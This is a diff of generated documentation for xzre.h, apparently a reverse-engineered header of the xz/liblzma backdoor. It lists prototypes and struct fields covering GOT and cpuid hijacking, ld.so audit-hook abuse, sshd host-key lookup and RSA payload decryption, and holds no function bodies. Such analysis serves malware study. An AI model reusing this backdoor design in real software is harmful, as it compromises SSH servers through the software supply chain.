2058  secret_data_shift_cursor_t shift_cursor,
+
2059  unsigned operation_index,
+
2060  unsigned shift_count,
+
2061  int flags, u8 *code);
+
2062 
+
2073 extern BOOL secret_data_append_from_address(
+
2074  void *addr,
+
2075  secret_data_shift_cursor_t shift_cursor,
+
2076  unsigned shift_count, unsigned operation_index);
+
2077 
+
2120 extern BOOL secret_data_append_singleton(
+
2121  u8 *call_site, u8 *code,
+
2122  secret_data_shift_cursor_t shift_cursor,
+
2123  unsigned shift_count, unsigned operation_index);
+
2124 
+
2136 extern BOOL secret_data_append_from_call_site(
+
2137  secret_data_shift_cursor_t shift_cursor,
+
2138  unsigned shift_count, unsigned operation_index,
+
2139  BOOL bypass
+
2140 );
+
2141 
+
2161 extern BOOL backdoor_setup(backdoor_setup_params_t *params);
+
2162 
+
2180 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
+
2181 
+
2193 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
+
2194 
+
2206 extern ptrdiff_t init_elf_entry_ctx(elf_entry_ctx_t *ctx);
+
2207 
+
2218 extern ptrdiff_t get_got_offset(elf_entry_ctx_t *ctx);
+
2219 
+
2228 extern u64 get_cpuid_got_index(elf_entry_ctx_t *ctx);
+
2229 
+
2239 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
+
2240 
+
2249 extern BOOL resolve_libc_imports(
+
2250  struct link_map *libc,
+
2251  elf_info_t *libc_info,
+
2252  libc_imports_t *imports
+
2253 );
+
2254 
+
2261 extern BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data);
+
2262 
+
2270 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
+
2271 
+
2283 extern BOOL chacha_decrypt(
+
2284  u8 *in, int inl,
+
2285  u8 *key, u8 *iv,
+
2286  u8 *out, imported_funcs_t *funcs
+
2287 );
+
2288 
+
2296 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
+
2297 
+
2306 extern BOOL is_range_mapped(u8* addr, u8 length, global_context_t* ctx);
+
2307 
+
2314 extern u32 count_bits(u64 x);
+
2315 
+
2327 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
+
2328 
+
2368 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
+
2369 
+
2381 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
+
2382 
+
2391 extern int init_hook_functions(backdoor_hooks_ctx_t *funcs);
+
2392 
+
2411 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
+
2412 
+
2422 extern ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx);
+
2423 
+
2435 extern uintptr_t backdoor_symbind64(
+
2436  Elf64_Sym *sym,
+
2437  unsigned int ndx,
+
2438  uptr *refcook, uptr *defcook,
+
2439  unsigned int flags,
+
2440  const char *symname);
+
2441 
+
2453 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
+
2454 
+
2469 extern BOOL find_dl_audit_offsets(
+
2470  backdoor_data_handle_t *data,
+
2471  ptrdiff_t *libname_offset,
+
2472  backdoor_hooks_data_t *hooks,
+
2473  imported_funcs_t *imported_funcs);
+
2474 
+
2497 extern BOOL find_link_map_l_name(
+
2498  backdoor_data_handle_t *data_handle,
+
2499  ptrdiff_t *libname_offset,
+
2500  backdoor_hooks_data_t *hooks,
+
2501  imported_funcs_t *imported_funcs);
+
2502 
+
2522 extern BOOL find_dl_naudit(
+
2523  elf_info_t *dynamic_linker_elf,
+
2524  elf_info_t *libcrypto_elf,
+
2525  backdoor_hooks_data_t *hooks,
+
2526  imported_funcs_t *imported_funcs);
+
2527 
+
2544 extern BOOL find_link_map_l_audit_any_plt(
+
2545  backdoor_data_handle_t *data,
+
2546  ptrdiff_t libname_offset,
+
2547  backdoor_hooks_data_t *hooks,
+
2548  imported_funcs_t *imported_funcs);
+
2549 
+
2565 extern BOOL find_link_map_l_audit_any_plt_bitmask(
+
2566  backdoor_data_handle_t *data,
+
2567  instruction_search_ctx_t *search_ctx);
+
2568 
+
2583 extern BOOL sshd_get_host_keys_address_via_xcalloc(
+
2584  u8 *data_start,
+
2585  u8 *data_end,
+
2586  u8 *code_start,
+
2587  u8 *code_end,
+
2588  string_references_t *string_refs,
+
2589  void **host_keys_out);
+
2590 
+
2605 extern BOOL sshd_get_host_keys_address_via_krb5ccname(
+
2606  u8 *data_start,
+
2607  u8 *data_end,
+
2608  u8 *code_start,
+
2609  u8 *code_end,
+
2610  void **host_keys_out,
+
2611  elf_info_t *elf);
+
2612 
+
2622 extern int sshd_get_host_keys_score_in_demote_sensitive_data(
+
2623  void *host_keys,
+
2624  elf_info_t *elf,
+
2625  string_references_t *refs);
+
2626 
+
2636 extern int sshd_get_host_keys_score_in_main(
+
2637  void *host_keys,
+
2638  elf_info_t *elf,
+
2639  string_references_t *refs);
+
2640 
+
2650 extern int sshd_get_host_keys_score_in_do_child(
+
2651  void *host_keys,
+
2652  elf_info_t *elf,
+
2653  string_references_t *refs);
+
2654 
+
2664 extern int sshd_get_host_keys_score(
+
2665  void *host_keys,
+
2666  elf_info_t *elf,
+
2667  string_references_t *refs);
+
2668 
+
2675 extern u32 resolver_call_count;
+
2676 static_assert(sizeof(resolver_call_count) == 0x4);
+
2677 
+
2678 extern global_context_t *global_ctx;
+
2679 static_assert(sizeof(global_ctx) == 0x8);
+
2680 
+
2687 extern backdoor_hooks_data_t *hooks_data_addr;
+
2688 static_assert(sizeof(hooks_data_addr) == 0x8);
+
2689 
+
2700 extern const ptrdiff_t fake_lzma_allocator_offset;
+
2701 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
+
2702 
+
2720 extern fake_lzma_allocator_t fake_lzma_allocator;
+
2721 static_assert(sizeof(fake_lzma_allocator) == 0x20);
+
2722 
+
2731 extern const ptrdiff_t elf_functions_offset;
+
2732 static_assert(sizeof(elf_functions_offset) == 0x8);
+
2733 
+
2746 extern const elf_functions_t elf_functions;
+
2747 static_assert(sizeof(elf_functions) == 0x38);
+
2748 
+
2757 extern const u64 cpuid_random_symbol;
+
2758 static_assert(sizeof(cpuid_random_symbol) == 0x8);
+
2759 
+
2768 extern const u64 tls_get_addr_random_symbol;
+
2769 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
+
2770 
+
2779 extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;
+
2780 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
+
2781 
+
2790 extern const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts;
+
2791 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
+
2792 
+
2801 extern const u64 string_mask_data[238];
+
2802 static_assert(sizeof(string_mask_data) == 0x770);
+
2803 
+
2812 extern const u32 string_action_data[1304];
+
2813 static_assert(sizeof(string_action_data) == 0x1460);
+
2814 
+
2815 #include "util.h"
+
2816 #endif
+
audit_ifaces
Definition: xzre.h:87
+
auditstate
Definition: xzre.h:70
+
backdoor_cpuid_reloc_consts
Definition: xzre.h:1435
+
backdoor_cpuid_reloc_consts::backdoor_init_stage2_got_offset
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:1453
+
backdoor_cpuid_reloc_consts::cpuid_random_symbol_got_offset
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:1441
+
backdoor_cpuid_reloc_consts::cpuid_got_index
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:1447
+
backdoor_data_handle
data passed to functions that access the backdoor data
Definition: xzre.h:1167
+
backdoor_data
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1212
+
backdoor_data::libc_imports
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1257
+
backdoor_data::string_refs
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1262
+
backdoor_data::main_map
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1217
+
backdoor_data::libc_info
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1247
+
backdoor_data::libcrypto_info
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1252
+
backdoor_data::dynamic_linker_info
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1243
+
backdoor_data::main_info
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1237
+
backdoor_data::import_resolver
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1267
+
backdoor_data::dynamic_linker_map
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1222
+
backdoor_hooks_ctx
Definition: xzre.h:1077
backdoor_hooks_ctx::PADDING
PADDING(sizeof(void *))
set to addess of symbol .Llzma12_mode_map_part_1
-
backdoor_hooks_data
Definition: xzre.h:1067
-
backdoor_setup_params
Definition: xzre.h:1117
-
backdoor_shared_globals
Definition: xzre.h:915
+
backdoor_hooks_data
Definition: xzre.h:1062
+
backdoor_setup_params
Definition: xzre.h:1112
+
backdoor_shared_globals
Definition: xzre.h:910
backdoor_shared_globals::PADDING
PADDING(sizeof(void *))
-
backdoor_shared_libraries_data
Definition: xzre.h:1292
-
backdoor_shared_libraries_data::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1304
-
backdoor_shared_libraries_data::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1309
-
backdoor_shared_libraries_data::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1299
-
backdoor_tls_get_addr_reloc_consts
Definition: xzre.h:1466
-
backdoor_tls_get_addr_reloc_consts::tls_get_addr_plt_offset
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:1472
-
backdoor_tls_get_addr_reloc_consts::tls_get_addr_random_symbol_got_offset
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:1478
-
cmd_arguments
Definition: xzre.h:1407
-
dasm_ctx
Definition: xzre.h:404
-
elf_entry_ctx
Definition: xzre.h:365
-
elf_entry_ctx::symbol_ptr
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:370
-
elf_entry_ctx::got_ptr
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:374
-
elf_entry_ctx::return_address
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:381
-
elf_entry_ctx::got_offset
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:390
-
elf_entry_ctx::cpuid_fn
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:385
-
elf_entry_ctx::frame_address
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:394
-
elf_functions
Definition: xzre.h:1485
-
elf_handles
array of ELF handles
Definition: xzre.h:1134
-
elf_handles::dynamic_linker
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1145
-
elf_handles::main
elf_info_t * main
this is for sshd
Definition: xzre.h:1139
-
elf_info
Definition: xzre.h:449
-
elf_info::code_segment_size
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:528
-
elf_info::first_vaddr
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:457
-
elf_info::gnurelro_memsize
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:503
-
elf_info::verdef
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:507
-
elf_info::gnu_hash_last_bloom
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:545
-
elf_info::dyn
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:469
-
elf_info::strtab
char * strtab
pointer to the ELF string table
Definition: xzre.h:477
-
elf_info::phdrs
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:461
-
elf_info::gnu_hash_nbuckets
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:541
-
elf_info::elfbase
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:453
-
elf_info::e_phnum
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:465
-
elf_info::plt_relocs
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:485
-
elf_info::gnurelro_found
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:495
-
elf_info::code_segment_start
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:523
-
elf_info::verdef_num
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:511
-
elf_info::gnurelro_vaddr
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:499
-
elf_info::symtab
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:481
-
elf_info::dyn_num_entries
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:473
-
elf_info::plt_relocs_num
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:489
-
fake_lzma_allocator
Definition: xzre.h:1515
-
global_context
Definition: xzre.h:818
-
global_context::lzma_code_end
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:879
-
global_context::libc_imports
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:827
-
global_context::disable_backdoor
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:835
-
global_context::rsa_sha2_256_str
char * rsa_sha2_256_str
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:847
-
global_context::imported_funcs
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:823
-
global_context::sshd_data_start
void * sshd_data_start
sshd data segment end
Definition: xzre.h:860
-
global_context::ssh_rsa_cert_v01_openssh_com_str
char * ssh_rsa_cert_v01_openssh_com_str
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:843
-
global_context::num_shifted_bits
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:894
-
global_context::sshd_code_start
void * sshd_code_start
sshd code segment start
Definition: xzre.h:852
-
global_context::sshd_data_end
void * sshd_data_end
sshd data segment start
Definition: xzre.h:864
-
global_context::sshd_code_end
void * sshd_code_end
sshd code segment end
Definition: xzre.h:856
-
global_context::lzma_code_start
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:872
-
imported_funcs
Definition: xzre.h:633
-
imported_funcs::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:644
-
imported_funcs::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:654
-
imported_funcs::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:649
-
instruction_search_ctx
Definition: xzre.h:1526
-
instruction_search_ctx::result
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:1552
-
instruction_search_ctx::offset_to_match
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:1541
-
instruction_search_ctx::start_addr
u8 * start_addr
start of the code address range to search
Definition: xzre.h:1531
-
instruction_search_ctx::end_addr
u8 * end_addr
start of the code address range to search
Definition: xzre.h:1536
-
instruction_search_ctx::output_register_to_match
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:1546
-
key_ctx
Definition: xzre.h:1420
-
key_payload_body
Definition: xzre.h:1350
-
key_payload_hdr
the payload header. also used as Chacha IV
Definition: xzre.h:1344
-
key_payload
the contents of the RSA 'n' field
Definition: xzre.h:1359
-
ldso_ctx
Definition: xzre.h:928
-
ldso_ctx::sshd_auditstate_bindflags_ptr
void * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:956
-
ldso_ctx::libcrypto_auditstate_bindflags_old_value
void * libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:945
-
ldso_ctx::libcrypto_auditstate_bindflags_ptr
void * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:940
-
ldso_ctx::link_map_l_audit_any_plt_bitmask
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:977
-
ldso_ctx::_dl_naudit_ptr
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:996
-
ldso_ctx::sshd_auditstate_bindflags_old_value
void * sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:961
-
ldso_ctx::libcrypto_l_name
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1013
-
ldso_ctx::_dl_audit_symbind_alt__size
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1025
-
ldso_ctx::_dl_audit_ptr
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:987
-
ldso_ctx::sshd_link_map_l_audit_any_plt_addr
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:970
-
libc_imports
Definition: xzre.h:589
-
main_elf
Definition: xzre.h:1157
-
sshd_ctx
Definition: xzre.h:747
-
sshd_log_ctx
Definition: xzre.h:796
-
string_item
Definition: xzre.h:1180
-
string_item::func_start
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1189
-
string_item::string_id
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1184
-
string_item::xref
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1197
-
string_item::func_end
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1193
-
string_references
Definition: xzre.h:1206
-
secret_data_shift_cursor_t
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1328
-
secret_data_shift_cursor_t::index
u32 index
Definition: xzre.h:1330
-
secret_data_shift_cursor_t::byte_index
u32 byte_index
Definition: xzre.h:1335
-
secret_data_shift_cursor_t::bit_index
u32 bit_index
Definition: xzre.h:1333
-
u_cmd_arguments_t
Definition: xzre.h:1364
+
backdoor_shared_libraries_data
Definition: xzre.h:1287
+
backdoor_shared_libraries_data::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1299
+
backdoor_shared_libraries_data::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1304
+
backdoor_shared_libraries_data::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1294
+
backdoor_tls_get_addr_reloc_consts
Definition: xzre.h:1461
+
backdoor_tls_get_addr_reloc_consts::tls_get_addr_plt_offset
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:1467
+
backdoor_tls_get_addr_reloc_consts::tls_get_addr_random_symbol_got_offset
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:1473
+
cmd_arguments
Definition: xzre.h:1402
+
dasm_ctx
Definition: xzre.h:399
+
elf_entry_ctx
Definition: xzre.h:360
+
elf_entry_ctx::symbol_ptr
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:365
+
elf_entry_ctx::got_ptr
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:369
+
elf_entry_ctx::return_address
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:376
+
elf_entry_ctx::got_offset
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:385
+
elf_entry_ctx::cpuid_fn
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:380
+
elf_entry_ctx::frame_address
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:389
+
elf_functions
Definition: xzre.h:1480
+
elf_handles
array of ELF handles
Definition: xzre.h:1129
+
elf_handles::dynamic_linker
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1140
+
elf_handles::main
elf_info_t * main
this is for sshd
Definition: xzre.h:1134
+
elf_info
Definition: xzre.h:444
+
elf_info::code_segment_size
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:523
+
elf_info::first_vaddr
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:452
+
elf_info::gnurelro_memsize
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:498
+
elf_info::verdef
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:502
+
elf_info::gnu_hash_last_bloom
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:540
+
elf_info::dyn
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:464
+
elf_info::strtab
char * strtab
pointer to the ELF string table
Definition: xzre.h:472
+
elf_info::phdrs
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:456
+
elf_info::gnu_hash_nbuckets
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:536
+
elf_info::elfbase
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:448
+
elf_info::e_phnum
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:460
+
elf_info::plt_relocs
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:480
+
elf_info::gnurelro_found
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:490
+
elf_info::code_segment_start
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:518
+
elf_info::verdef_num
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:506
+
elf_info::gnurelro_vaddr
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:494
+
elf_info::symtab
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:476
+
elf_info::dyn_num_entries
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:468
+
elf_info::plt_relocs_num
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:484
+
fake_lzma_allocator
Definition: xzre.h:1510
+
global_context
Definition: xzre.h:813
+
global_context::lzma_code_end
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:874
+
global_context::libc_imports
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:822
+
global_context::disable_backdoor
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:830
+
global_context::rsa_sha2_256_str
char * rsa_sha2_256_str
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:842
+
global_context::imported_funcs
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:818
+
global_context::sshd_data_start
void * sshd_data_start
sshd data segment end
Definition: xzre.h:855
+
global_context::ssh_rsa_cert_v01_openssh_com_str
char * ssh_rsa_cert_v01_openssh_com_str
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:838
+
global_context::num_shifted_bits
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:889
+
global_context::sshd_code_start
void * sshd_code_start
sshd code segment start
Definition: xzre.h:847
+
global_context::sshd_data_end
void * sshd_data_end
sshd data segment start
Definition: xzre.h:859
+
global_context::sshd_code_end
void * sshd_code_end
sshd code segment end
Definition: xzre.h:851
+
global_context::lzma_code_start
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:867
+
imported_funcs
Definition: xzre.h:628
+
imported_funcs::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:639
+
imported_funcs::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:649
+
imported_funcs::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:644
+
instruction_search_ctx
Definition: xzre.h:1521
+
instruction_search_ctx::result
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:1547
+
instruction_search_ctx::offset_to_match
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:1536
+
instruction_search_ctx::start_addr
u8 * start_addr
start of the code address range to search
Definition: xzre.h:1526
+
instruction_search_ctx::end_addr
u8 * end_addr
start of the code address range to search
Definition: xzre.h:1531
+
instruction_search_ctx::output_register_to_match
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:1541
+
key_ctx
Definition: xzre.h:1415
+
key_payload_body
Definition: xzre.h:1345
+
key_payload_hdr
the payload header. also used as Chacha IV
Definition: xzre.h:1339
+
key_payload
the contents of the RSA 'n' field
Definition: xzre.h:1354
+
ldso_ctx
Definition: xzre.h:923
+
ldso_ctx::sshd_auditstate_bindflags_ptr
void * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:951
+
ldso_ctx::libcrypto_auditstate_bindflags_old_value
void * libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:940
+
ldso_ctx::libcrypto_auditstate_bindflags_ptr
void * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:935
+
ldso_ctx::link_map_l_audit_any_plt_bitmask
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:972
+
ldso_ctx::_dl_naudit_ptr
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:991
+
ldso_ctx::sshd_auditstate_bindflags_old_value
void * sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:956
+
ldso_ctx::libcrypto_l_name
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1008
+
ldso_ctx::_dl_audit_symbind_alt__size
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1020
+
ldso_ctx::_dl_audit_ptr
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:982
+
ldso_ctx::sshd_link_map_l_audit_any_plt_addr
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:965
+
libc_imports
Definition: xzre.h:584
+
main_elf
Definition: xzre.h:1152
+
sshd_ctx
Definition: xzre.h:742
+
sshd_log_ctx
Definition: xzre.h:791
+
string_item
Definition: xzre.h:1175
+
string_item::func_start
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1184
+
string_item::string_id
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1179
+
string_item::xref
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1192
+
string_item::func_end
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1188
+
string_references
Definition: xzre.h:1201
+
secret_data_shift_cursor_t
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1323
+
secret_data_shift_cursor_t::index
u32 index
Definition: xzre.h:1325
+
secret_data_shift_cursor_t::byte_index
u32 byte_index
Definition: xzre.h:1330
+
secret_data_shift_cursor_t::bit_index
u32 bit_index
Definition: xzre.h:1328
+
u_cmd_arguments_t
Definition: xzre.h:1359
elf_parse
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
elf_symbol_get_addr
void * elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Looks up an ELF symbol from a parsed ELF, and returns its memory address.
resolve_libc_imports
BOOL resolve_libc_imports(struct link_map *libc, elf_info_t *libc_info, libc_imports_t *imports)
parses the libc ELF from the supplied link map, and resolves its imports
@@ -1630,13 +1625,13 @@
tls_get_addr_random_symbol
const u64 tls_get_addr_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
hooks_data_addr
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
find_mov_instruction
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
-
ElfId
ElfId
